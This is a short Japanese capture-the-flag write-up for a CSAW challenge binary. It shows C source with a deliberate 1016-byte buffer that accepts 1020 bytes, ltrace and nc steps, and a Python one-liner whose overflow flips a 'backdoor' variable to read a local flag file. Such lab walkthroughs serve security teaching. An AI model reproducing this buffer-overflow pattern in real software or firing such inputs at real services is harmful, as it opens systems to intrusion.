問題ファイルはここにある。 2つファイルが用意されている。 見た感じバイナリと、それのソースコードの一部。
$ file exploit1
exploit1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c7646dc29ce50cfdf6d7acaf5e8ebfc88401b7e1, not stripped
$ cat exploit1.c
[snip]
void handle(int newsock) {
int backdoor = 0;
char buffer[1016];
memset(buffer, 0, 1016);
send(newsock, "Welcome to CSAW CTF.", 21, 0);
recv(newsock, buffer, 1020, 0);
buffer[1015] = 0;
if ( backdoor ) {
fd = fopen("./key", "r");
fscanf(fd, "%s\n", buffer);
send(newsock, buffer, 512, 0);
}
close(newsock);
}
[snip]
とりあえず動かしてみるが何も表示されないのでltraceで動きを追いながら動かしてみる。
$ ltrace ./exploit1
__libc_start_main(0x80488ee, 1, 0xffabe1d4, 0x8048be0 <unfinished ...>
getaddrinfo("0.0.0.0", "31337", 0xffabe078, 0xffabe074) = 0
socket(2, 1, 6) = 3
setsockopt(3, 1, 2, 0xffabe070) = 0
bind(3, 0x82ed028, 16, 0xffabe070) = 0
listen(3, 100, 16, 0xffabe070) = 0
freeaddrinfo(0x82ed008) = <void>
sigemptyset(<>) = 0
sigaction(SIGCHLD, { 0x80487d4, <>, 0, 0 }, nil) = 0
accept(3, 0xffabe060, 0xffabe05c, 0xffabe070
31337ポートでリッスンしているようなのでncで繋ぐ。
$ nc localhost 31337
Welcome to CSAW CTF.
適当なキーを押すと終了してしまう。 今度はバイナリのコードを読んでみる。
$ objdump -M intel -d ./exploit1 | less
main関数を読むと『handle』という関数を読んでいることがわかる。 この関数は問題のバイナリと共に配布されたソースコードに書かれている関数だ。 さて、このコードでは1016バイト分のbufferに1020バイトコピーできる。 1016バイト以上のデータを送りつけるとbufferがオーバーフローし、bufferの前に宣言されているbackdoorを書き換えられる。 backdoor変数の値が書き換えることに成功すればフラグである『key』というファイルを読むことができる。 というわけでkeyというファイルを用意し1016バイト以上のデータを送りつけてみる。
$ echo THIS_IS_FLAG > key
$ python -c 'print "A"*1017' | nc localhost 31337
Welcome to CSAW CTF.THIS_IS_FLAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
フラグを読むことができた。 終わり